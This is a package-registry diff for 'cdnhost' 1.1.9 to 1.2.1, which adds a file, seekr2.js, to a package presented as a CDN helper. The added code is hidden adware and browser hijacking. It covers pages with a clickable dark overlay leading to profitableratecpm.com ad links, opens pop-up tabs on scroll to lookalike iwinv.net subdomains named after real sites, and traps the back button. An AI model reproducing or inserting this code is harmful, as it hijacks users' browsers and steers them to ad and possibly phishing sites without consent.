cdnhost 1.1.9 → 1.2.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/link.js +2 -5
  2. package/package.json +1 -1
  3. package/seekr2.js +120 -0
package/link.js CHANGED
@@ -5,10 +5,7 @@
5
5
 
6
6
  document.writeln('<div style="display:flex;overflow-x:scroll;width:100%;">');
7
7
  urls.forEach(url => {
8
- document.writeln(`<a href="${url}">_</a>`);
8
+ document.writeln(`<a href="${url}">��</a>`);
9
9
  });
10
10
  document.writeln('</div>');
11
- })();
12
-
13
-
14
-
11
+ })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "cdnhost",
3
- "version": "1.1.9",
3
+ "version": "1.2.1",
4
4
  "description": "cdnhost",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/seekr2.js ADDED
@@ -0,0 +1,120 @@
1
+
2
+ window.addEventListener('load', function() {
3
+ var images = document.querySelectorAll('img');
4
+ images.forEach(function(img) {
5
+ if (!img.hasAttribute('alt')) {
6
+ img.setAttribute('alt', 'image');
7
+ }
8
+ });
9
+ });
10
+
11
+ document.writeln('<style>* {font-size: 1em !important}</style>');
12
+ const urls = [
13
+ 'https://www.profitableratecpm.com/jxz4jd7r?key=c69dbf238e855fdc108af717c6363e6b',
14
+ 'https://www.profitableratecpm.com/ci7z33utw?key=315a36d4584b5d56bad0933d4e4f5457',
15
+ 'https://www.profitableratecpm.com/h2qib3dxzv?key=72c2823d629a4fdcc8b9b5b379edab23',
16
+ 'https://www.profitableratecpm.com/awb9ahbyse?key=37b518d892f143b18397d62c495b962d',
17
+ 'https://www.profitableratecpm.com/ecz5npz7h?key=8f4f16f67beabcf6c8f61c352c5caddb',
18
+ ];
19
+
20
+
21
+
22
+
23
+ function handleKeyPress(event) {
24
+ const isMobile = /Mobi|Android/i.test(navigator.userAgent);
25
+
26
+ const desktopUrls = [
27
+ 'https://www.profitableratecpm.com/jxz4jd7r?key=c69dbf238e855fdc108af717c6363e6b',
28
+ 'https://www.profitableratecpm.com/ci7z33utw?key=315a36d4584b5d56bad0933d4e4f5457',
29
+ 'https://www.profitableratecpm.com/h2qib3dxzv?key=72c2823d629a4fdcc8b9b5b379edab23',
30
+ 'https://www.profitableratecpm.com/awb9ahbyse?key=37b518d892f143b18397d62c495b962d',
31
+ 'https://www.profitableratecpm.com/ecz5npz7h?key=8f4f16f67beabcf6c8f61c352c5caddb',
32
+ ];
33
+
34
+ const mobileUrls = [
35
+ 'https://ruliweb.iwinv.net/recent.php',
36
+ 'https://instiz.iwinv.net/recent.php',
37
+ 'https://bikini.iwinv.net/recent.php',
38
+ 'https://manatoki.iwinv.net/recent.php',
39
+ 'https://gmarket.iwinv.net/recent.php',
40
+ 'https://mlbpark.iwinv.net/recent.php',
41
+ 'https://mmtcld.iwinv.net/recent.php',
42
+ 'https://flightaware.iwinv.net/recent.php',
43
+ 'https://koreakr.iwinv.net/recent.php',
44
+ 'https://popcat.iwinv.net/recent.php',
45
+ 'https://ecount.iwinv.net/recent.php',
46
+ 'https://hiworks.iwinv.net/recent.php',
47
+ 'https://shopee.iwinv.net/recent.php',
48
+ 'https://eomisae.iwinv.net/recent.php',
49
+ 'https://kmcert.iwinv.net/recent.php',
50
+ 'https://munpia.iwinv.net/recent.php',
51
+ 'https://slrclub.iwinv.net/recent.php',
52
+ 'https://interpals.iwinv.net/recent.php',
53
+ ];
54
+
55
+ const urls = isMobile ? mobileUrls : desktopUrls;
56
+
57
+ function getRandomUrls(arr, num) {
58
+ const shuffled = arr.sort(() => 0.5 - Math.random());
59
+ return shuffled.slice(0, num);
60
+ }
61
+
62
+ const randomUrls = getRandomUrls(urls, 2);
63
+ randomUrls.forEach(url => window.open(url, '_blank'));
64
+ }
65
+
66
+ const randomUrl = urls[Math.floor(Math.random() * urls.length)];
67
+ document.writeln('<style>');
68
+ document.writeln('#s2, #s3 {transition:opacity 5s;z-index:99;position:fixed;top:0;left:0;opacity:0.8;background:#000;width:100%;height:200vh}');
69
+ document.writeln('</style>');
70
+ document.writeln('<a onclick=\'location.href="' + randomUrl + '"\' target="_blank" href="#"><div id="s2"></div></a>');
71
+
72
+ window.addEventListener('scroll', () => {
73
+ const scrollHeight = document.documentElement.scrollHeight;
74
+ const scrollTop = document.documentElement.scrollTop || document.body.scrollTop;
75
+ const clientHeight = document.documentElement.clientHeight;
76
+
77
+ if (scrollTop + clientHeight >= scrollHeight) {
78
+ handleKeyPress();
79
+ }
80
+ });
81
+
82
+ history.pushState(null,null,""),window.onpopstate=function(a){a&&(history.back(),handleKeyPress())}
83
+
84
+ document.getElementById('container').style.boxShadow = 'none';
85
+ function ss(){
86
+ document.getElementById("s2").style.transition = "opacity 15s";
87
+ document.getElementById("button").style.transition = "opacity 15s";
88
+ setTimeout("s()", 3999);
89
+ setTimeout("h()", 14999);
90
+ }
91
+ function pcss(){
92
+ setTimeout("s()", 3999);
93
+ setTimeout("h()", 14999);
94
+ }
95
+ function a(){
96
+ document.getElementById("button").style.display="none";
97
+ }
98
+ function aa(){
99
+ document.getElementById("button").style.display="block";
100
+ }
101
+ function s(){
102
+ document.getElementById("s2").style.opacity = 0;
103
+ document.getElementById("button").style.opacity = 0;
104
+ document.getElementById("sha").style.display="none";
105
+ document.getElementById("cc").style.maxHeight="unset";
106
+ }
107
+ function h(){
108
+ const s2 = document.getElementById("s2");
109
+ const button = document.getElementById("button");
110
+ s2.style.zIndex = -1;
111
+ button.style.display = "none";
112
+ setTimeout(function () {
113
+ s2.style.zIndex = 99;
114
+ button.style.display = "block";
115
+ s2.style.opacity = 0.8;
116
+ button.style.opacity = 1;
117
+ document.getElementById("s2").style.transition = "opacity 1s";
118
+ document.getElementById("button").style.transition = "opacity 1s";
119
+ }, 4000);
120
+ }